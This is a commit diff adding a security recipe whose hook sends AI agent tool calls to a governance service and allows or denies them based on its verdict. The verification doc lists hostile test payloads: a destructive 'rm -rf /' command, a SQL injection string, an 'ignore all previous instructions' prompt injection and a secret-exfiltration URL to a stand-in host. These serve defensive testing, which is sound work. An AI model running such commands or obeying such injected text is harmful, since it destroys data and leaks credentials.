feat(shrike-security): add Shrike action-governance partner recipe

Adds an independently deployable recipe that installs a Shrike PreToolUse hook
into a NemoClaw/OpenShell sandbox so every matched tool call is governed by
Shrike's enforce plane (allow / warn / require_approval / block) before it runs.

- Host-side secret handling: the Shrike key is registered as an OpenShell
  credential; the agent references only openshell:resolve:env:SHRIKE_API_KEY.
- Scoped egress policy (api.shrikesecurity.com enforce/session/health only).
- Lifecycle scripts: onboard, install, verify, status, teardown.
- Allowed/denied live validation (verify.sh) + reference transcript.
- Placed under recipes/partners/shrike/ with catalog entry; Shrike Security,
  Inc. attribution preserved in SPDX headers.

Signed-off-by: Habirua <41754124+Habirua@users.noreply.github.com>

Author: Habirua

examples/README.md

@@ -19,6 +19,7 @@ again by contributor provenance.
 | Contributor | Example | Description |
 | --- | --- | --- |
 | HPE | [Retail Assistant](recipes/partners/hpe/retail-assistant/README.md) | Provides role-aware retail operations through Telegram, FastAPI, PostgreSQL, Docker Compose, and Helm. |
+| Shrike Security | [Shrike Security Action Governance](recipes/partners/shrike/shrike-security/README.md) | Governs agent tool calls with a PreToolUse hook that returns allow / warn / require_approval / block from Shrike's enforce plane, with host-side secret handling and scoped egress to Shrike. |
 | Tavily | [Watchtower](recipes/partners/tavily/watchtower/README.md) | Runs scheduled, cited web monitoring with persistent deduplication and auditable outputs. |
 
 Future independent contributions without formal organizational provenance

examples/recipes/partners/shrike/shrike-security/.env.example

@@ -0,0 +1,21 @@
+# Shrike Security recipe — copy to .env and fill in. Never commit .env.
+#
+# The Shrike key is read by scripts/onboard.sh ONLY to create the gateway-side
+# OpenShell provider (one `openshell provider create` call). It is never
+# exported into the sandbox or the agent environment — the agent references the
+# placeholder `openshell:resolve:env:SHRIKE_API_KEY`, resolved by the L7 proxy
+# on egress.
+# Get a key (free tier available) at https://shrikesecurity.com/signup
+SHRIKE_API_KEY=
+
+# Inference provider for the OpenClaw agent. 'build' uses NVIDIA-hosted
+# endpoints (https://build.nvidia.com); 'custom' uses any OpenAI-compatible
+# endpoint. See scripts/onboard.sh for the variables each path requires.
+NEMOCLAW_PROVIDER=build
+NVIDIA_INFERENCE_API_KEY=
+
+# Optional overrides:
+# NEMOCLAW_SANDBOX_NAME=shrike-security
+# SHRIKE_PROFILE_ID=nemoclaw-shrike        # v2 provider-profile id (providers/shrike.yaml)
+# SHRIKE_PROVIDER_NAME=shrike-security-shrike   # provider instance name
+# SHRIKE_FAIL_MODE=closed          # closed (default) = deny on enforce error; open = allow

examples/recipes/partners/shrike/shrike-security/.gitignore

@@ -0,0 +1 @@
+.env

examples/recipes/partners/shrike/shrike-security/README.md

@@ -0,0 +1,158 @@
+<!-- SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. -->
+<!-- SPDX-FileCopyrightText: Copyright (c) 2026, Shrike Security, Inc. All rights reserved. -->
+<!-- SPDX-License-Identifier: Apache-2.0 -->
+
+# Shrike Security — Agent Action Governance
+
+Govern what an OpenClaw agent is allowed to **do**. This recipe installs a
+Shrike PreToolUse hook into a NemoClaw/OpenShell sandbox so every matched tool
+call is evaluated by Shrike's enforce plane before it runs, and denied when the
+verdict is `block` or `require_approval`.
+
+OpenShell contains *where* an agent can act (network, filesystem, syscalls).
+Shrike governs *what* a specific action is — a benign shell command is allowed;
+a destructive command, a SQL injection, an injected instruction, or a secret
+exfiltration attempt is denied — with the decision made server-side against
+organizational policy and returned as `allow` / `warn` / `require_approval` /
+`block`. The two compose: the sandbox is the cage, Shrike is the judgment.
+
+## Intended users and support boundary
+
+For operators running OpenClaw agents inside NemoClaw who want an action-level
+policy decision on tool calls without building approval logic into each agent.
+
+**Support boundary.** This is a community-maintained recipe contributed by
+Shrike Security, Inc. It is provided as-is under Apache-2.0. Product/API
+questions: <https://shrikesecurity.com>. Recipe issues: open a GitHub issue on
+this repository identifying the example. It is not covered by an NVIDIA support
+agreement.
+
+## Data-sharing boundary (read before enabling)
+
+When the hook evaluates an action, the **action content** — the shell command,
+SQL text, file-write body, web-search target, or message content of the matched
+tool call — is transmitted over TLS to `api.shrikesecurity.com` for evaluation.
+A decision and a short reason are returned; no other sandbox data is sent. If no
+Shrike credential is configured, the hook cannot obtain a verdict and (by
+default) denies the action fail-closed — nothing is transmitted without a key.
+Retention, GDPR/CCPA, and data-deletion posture: <https://shrikesecurity.com/privacy>.
+
+Do not enable this recipe on a workload whose tool-call content must never leave
+the sandbox.
+
+## Provenance
+
+Contributed by **Shrike Security, Inc.** Attribution is preserved in the SPDX
+headers of every file. Shrike Security authored the hook, policy, and lifecycle
+scripts; the recipe targets the public NemoClaw/OpenShell CLIs.
+
+## Prerequisites and supported environments
+
+- NemoClaw installed with a working OpenShell gateway (`nemoclaw`, `openshell`
+  on `PATH`). Install: `curl -fsSL https://www.nvidia.com/nemoclaw.sh | NEMOCLAW_ACCEPT_THIRD_PARTY_SOFTWARE=1 bash`
+- An inference provider (NVIDIA-hosted `build` endpoints, or any OpenAI-compatible endpoint).
+- A Shrike API key (free tier available): <https://shrikesecurity.com/signup>
+- `bash`, `node`, and `curl` available in the sandbox (present in the OpenClaw runtime).
+- Verified on macOS (arm64) and Linux hosts with a CPU-only OpenShell gateway.
+
+## Architecture and major components
+
+```
+OpenClaw agent  --(tool call)-->  PreToolUse hook  --(action content)-->  Shrike enforce
+     |                                   |                                      |
+     |                                   |  allow/warn -> allow                 |  server-side
+     |  <---------- decision ------------+  block/require_approval -> deny       |  9-layer policy
+```
+
+- `hooks/shrike-preaction-hook.mjs` — classifies the action (sql / command /
+  file_write / web_search / general), calls the enforce plane, maps the verdict
+  to an OpenClaw permission decision. Fail-closed by default.
+- `providers/shrike.yaml` — OpenShell v2 provider profile: declares the
+  `SHRIKE_API_KEY` bearer credential and scopes egress to
+  `api.shrikesecurity.com` with `enforcement: enforce`. Imported at onboard time.
+- `agents.yaml` — keeps the full toolset; governance is at the hook, not by
+  removing tools.
+- `scripts/` — `onboard.sh`, `install.sh`, `verify.sh`, `status.sh`, `teardown.sh`.
+
+## Credential and secret handling
+
+`onboard.sh` imports the v2 provider profile (`providers/shrike.yaml`) and
+creates a provider instance with `openshell provider create`, supplying
+`SHRIKE_API_KEY` to the **gateway** once through a clean sub-environment. The
+sandboxed agent and hook reference only the placeholder
+`openshell:resolve:env:SHRIKE_API_KEY`; the OpenShell L7 proxy substitutes the
+real value on egress to `api.shrikesecurity.com`. The raw key is never written
+into the sandbox environment, filesystem, or agent context. `.env` holds the key
+on the host only (for the one `provider create` call) and is git-ignored.
+
+## Setup and configuration
+
+```bash
+cp .env.example .env      # set SHRIKE_API_KEY + your inference provider vars
+bash scripts/onboard.sh   # import provider profile + create provider (key held gateway-side) + onboard sandbox
+bash scripts/install.sh   # install the PreToolUse hook into the sandbox
+```
+
+Overridable knobs (in `.env`): `NEMOCLAW_SANDBOX_NAME`, `SHRIKE_PROFILE_ID`,
+`SHRIKE_PROVIDER_NAME`, `SHRIKE_FAIL_MODE` (`closed` default = deny on enforce
+error; `open` = allow).
+
+## Sandbox, network, and policy permissions
+
+The provider profile (`providers/shrike.yaml`) scopes egress to
+`api.shrikesecurity.com:443` with `enforcement: enforce` and permits `curl` +
+`node` for the hook. The Shrike enforce API itself accepts only the
+`/agent/api/scan/enforce[/specialized]`, `/agent/api/session/status`, and
+`/health` paths. No other network destination is reachable from the sandbox.
+
+## Startup behavior
+
+Governance is active as soon as `install.sh` registers the PreToolUse hook —
+there is no long-running service to start. Every matched tool call is evaluated
+inline before it executes.
+
+## Verification steps and expected results
+
+```bash
+bash scripts/verify.sh
+```
+
+Drives the installed hook with representative payloads and asserts:
+
+| Action | Expected |
+| --- | --- |
+| Benign shell command (`ls -la`) | **allow** |
+| Destructive command (`rm -rf /`) | **deny** |
+| SQL injection (`... OR 1=1; DROP TABLE`) | **deny** |
+| Prompt injection (ignore-instructions + exfil) | **deny** |
+| Secret exfiltration (key in URL) | **deny** |
+
+`scripts/verify.sh` exits `0` only when every case matches. A full transcript of
+a real run is in [docs/verify-functionality.md](docs/verify-functionality.md).
+Inspect wiring any time with `bash scripts/status.sh`.
+
+## Teardown and cleanup
+
+```bash
+bash scripts/teardown.sh              # remove hook + Shrike provider/profile + sandbox
+KEEP_SANDBOX=1 bash scripts/teardown.sh   # only un-wire Shrike; keep the sandbox
+```
+
+Teardown-safe: leaves no service or credential active.
+
+## Known limitations
+
+- The hook governs **matched tool calls**; content the agent never routes
+  through a tool is out of scope (that is OpenShell's containment layer's job).
+- Enforce adds a network round-trip per governed action (typically well under a
+  second warm). `SHRIKE_FAIL_MODE=open` trades containment for availability if
+  the enforce plane is unreachable.
+- Action classification is heuristic by tool/field shape; unusual tool schemas
+  fall back to the general enforce path.
+
+## Third-party dependencies and license obligations
+
+No new third-party libraries are added by this recipe. It uses the NemoClaw and
+OpenShell CLIs, `node`, and `curl`, all already present in the runtime. The
+recipe is licensed under Apache-2.0. The Shrike service it calls is operated by
+Shrike Security, Inc. under its own terms (<https://shrikesecurity.com>).

examples/recipes/partners/shrike/shrike-security/agents.yaml

@@ -0,0 +1,13 @@
+# SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
+# SPDX-FileCopyrightText: Copyright (c) 2026, Shrike Security, Inc. All rights reserved.
+# SPDX-License-Identifier: Apache-2.0
+#
+# Agent manifest for the Shrike governance recipe.
+#
+# Shrike governs at the ACTION boundary via the PreToolUse hook (see
+# install.sh), not by removing tools from the agent. The agent keeps its full
+# toolset; every matched call is evaluated by Shrike before it runs and denied
+# when the verdict is block / require_approval. This keeps the recipe a drop-in
+# governance layer over whatever workflow the operator runs.
+main:
+  tools: {}

examples/recipes/partners/shrike/shrike-security/docs/verify-functionality.md

@@ -0,0 +1,74 @@
+<!-- SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. -->
+<!-- SPDX-FileCopyrightText: Copyright (c) 2026, Shrike Security, Inc. All rights reserved. -->
+<!-- SPDX-License-Identifier: Apache-2.0 -->
+
+# Verifying Shrike governance
+
+This is the allowed/denied validation for the recipe: the installed PreToolUse
+hook must **allow** a benign action and **deny** malicious ones. Run it with:
+
+```bash
+bash scripts/verify.sh
+```
+
+## What the check does
+
+For each case, `verify.sh` pipes a representative `PreToolUse` payload into the
+installed hook inside the sandbox (`openshell sandbox exec ... node
+shrike-preaction-hook.mjs`) and reads back the `permissionDecision`. The hook
+sends the action content to `api.shrikesecurity.com` using the host-side
+credential placeholder and maps the returned verdict:
+`allow`/`warn` → **allow**, `block`/`require_approval` → **deny**.
+
+## Expected result
+
+```
+== Shrike allowed/denied validation (sandbox: shrike-security) ==
+  PASS  benign shell command         -> allow
+  PASS  destructive command          -> deny
+  PASS  sql injection                -> deny
+  PASS  prompt injection             -> deny
+  PASS  secret exfiltration          -> deny
+
+All cases matched expected decisions.
+```
+
+The script exits `0` only when every case matches; a mismatch prints
+`FAIL  <case> -> <decision> (expected <x>)` and exits `1`.
+
+## Reference transcript (single actions, `/agent/api/scan/enforce[/specialized]`)
+
+The same actions sent directly to the enforce plane during development returned
+these verdicts, confirming the hook's allow/deny mapping is faithful to Shrike's
+decisions:
+
+| Action (content_type) | Shrike `action` | `threat_level` | Hook decision |
+| --- | --- | --- | --- |
+| `ls -la /workspace` (command) | allow | none/low | allow |
+| `rm -rf / --no-preserve-root` (command) | block | critical | deny |
+| `SELECT * ... OR 1=1; DROP TABLE users;--` (sql) | block | high | deny |
+| `Ignore all previous instructions ... exfiltrate ...` (general) | block | critical | deny |
+| `https://evil.example/collect?data=AKIA...` (web_search) | block | high | deny |
+
+## Verification status and what remains
+
+Validated end-to-end on a CPU-only OpenShell gateway (macOS arm64, NemoClaw
+current):
+
+- **Provider profile** — `openshell provider profile lint` passes;
+  `openshell provider profile import` imports it; `openshell provider create
+  --type nemoclaw-shrike --credential SHRIKE_API_KEY` registers the provider
+  (confirmed `Credential keys: SHRIKE_API_KEY`), so the key is held gateway-side
+  and the sandbox sees only the placeholder.
+- **`verify.sh` in-sandbox** — the installed PreToolUse hook was driven with all
+  five payloads via `openshell sandbox exec`. The hook reached the live
+  `api.shrikesecurity.com` enforce plane through the resolved placeholder and
+  returned the expected decisions — benign → **allow**; destructive command,
+  SQL injection, prompt injection, secret exfiltration → **deny** — so
+  `verify.sh` exits `0`. This confirms placeholder resolution works end-to-end
+  (the hook never holds the raw key).
+
+**Remains for the reviewer / a clean run:** the above used an existing sandbox;
+a from-scratch `onboard.sh` → `install.sh` → `verify.sh` on the reviewer's host
+reproduces it. That needs a live NemoClaw install, an inference provider, and a
+Shrike key — environment/credential-gated.

examples/recipes/partners/shrike/shrike-security/hooks/shrike-preaction-hook.mjs

@@ -0,0 +1,99 @@
+#!/usr/bin/env node
+// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
+// SPDX-FileCopyrightText: Copyright (c) 2026, Shrike Security, Inc. All rights reserved.
+// SPDX-License-Identifier: Apache-2.0
+//
+// Shrike Security — OpenClaw PreToolUse hook.
+//
+// Runs INSIDE the sandbox before every matched tool call. Classifies the action,
+// sends it to Shrike's enforce plane, and returns an OpenClaw permission decision.
+// The agent never holds the Shrike key: auth uses the placeholder
+// `openshell:resolve:env:SHRIKE_API_KEY`; the OpenShell L7 proxy substitutes the
+// real key on egress to api.shrikesecurity.com. The HTTP call shells out to curl
+// so it rides the sandbox's OpenShell proxy + CA (node's https bypasses them).
+//
+// stdin : { hook_event_name, tool_name, tool_input, ... }
+// stdout: { hookSpecificOutput: { hookEventName:"PreToolUse",
+//           permissionDecision:"allow"|"deny", permissionDecisionReason } }
+import fs from 'node:fs';
+import { execFileSync } from 'node:child_process';
+
+// Fail mode when a verdict can't be obtained. Shrike is fail-closed by brand,
+// so default to deny; operators can set SHRIKE_FAIL_MODE=open for availability
+// (the OpenShell network policy still contains egress either way).
+const FAIL_MODE = (process.env.SHRIKE_FAIL_MODE || 'closed').toLowerCase();
+const BASE = 'https://api.shrikesecurity.com/agent';
+
+function emit(decision, reason) {
+  process.stdout.write(JSON.stringify({
+    hookSpecificOutput: {
+      hookEventName: 'PreToolUse',
+      permissionDecision: decision,          // "allow" | "deny"
+      permissionDecisionReason: reason,
+    },
+  }) + '\n');
+  process.exit(0);
+}
+
+let ev = {};
+try { ev = JSON.parse(fs.readFileSync(0, 'utf8') || '{}'); }
+catch { emit('allow', 'Shrike: unparseable hook payload — passing through'); }
+
+const tool = (ev.tool_name || ev.toolName || '').toLowerCase();
+const input = ev.tool_input || ev.toolInput || {};
+
+// Route the action to the right Shrike scanner by tool/content shape.
+// Specialized endpoint applies proper context (SQL vs command vs file), which
+// the general /enforce (prompt-shaped) does not.
+function route() {
+  if (input.sql || /sql|query|database|\bdb\b/.test(tool)) {
+    return { path: '/api/scan/enforce/specialized', body: { content: String(input.sql || input.query || input.command || ''), content_type: 'sql' } };
+  }
+  if (input.command || input.cmd || /exec|bash|shell|command|terminal|run/.test(tool)) {
+    return { path: '/api/scan/enforce/specialized', body: { content: String(input.command || input.cmd || ''), content_type: 'command' } };
+  }
+  if ((input.file_text || input.content) && (input.path || input.file_path || /write|edit|create.?file|save/.test(tool))) {
+    return { path: '/api/scan/enforce/specialized', body: { content: String(input.file_text || input.content || ''), content_type: 'file_write' } };
+  }
+  if (input.url || /web.?search|fetch|browse|http/.test(tool)) {
+    return { path: '/api/scan/enforce/specialized', body: { content: String(input.url || input.query || ''), content_type: 'web_search' } };
+  }
+  // Fallback: general enforce over whatever content we can see.
+  const content = input.content || input.text || input.prompt ||
+    (Object.keys(input).length ? JSON.stringify(input) : String(ev.prompt || ''));
+  return { path: '/api/scan/enforce', body: { prompt: String(content), scan_type: 'full' } };
+}
+
+const r = route();
+if (r.body.content === '' && r.body.content_type !== 'sql' && !r.body.prompt) {
+  emit('allow', 'Shrike: no action content to evaluate');
+}
+r.body.context = { source: 'nemoclaw-preaction-hook', tool };
+
+let out;
+try {
+  out = execFileSync('curl', [
+    '-s', '--max-time', '12', '--connect-timeout', '6',
+    '-X', 'POST', BASE + r.path,
+    '-H', 'Content-Type: application/json',
+    '-H', 'Authorization: Bearer openshell:resolve:env:SHRIKE_API_KEY',
+    '-d', JSON.stringify(r.body),
+  ], { encoding: 'utf8', timeout: 15000 });
+} catch (e) {
+  emit(FAIL_MODE === 'open' ? 'allow' : 'deny',
+    `Shrike enforce unreachable (${(e && e.message) || 'error'}) — fail-${FAIL_MODE}`);
+}
+
+let resp = {};
+try { resp = JSON.parse(out); } catch {}
+const action = (resp.action || '').toLowerCase();
+if (action === 'allow' || action === 'warn') {
+  emit('allow', `Shrike: ${action} (${resp.threat_level || 'none'})`);
+} else if (action === 'block' || action === 'require_approval') {
+  const why = (resp.recovery && resp.recovery.instruction) ||
+    `Blocked by Shrike action governance (${resp.threat_level || 'policy'}).`;
+  emit('deny', why);
+} else {
+  emit(FAIL_MODE === 'open' ? 'allow' : 'deny',
+    `Shrike: no decision — fail-${FAIL_MODE}`);
+}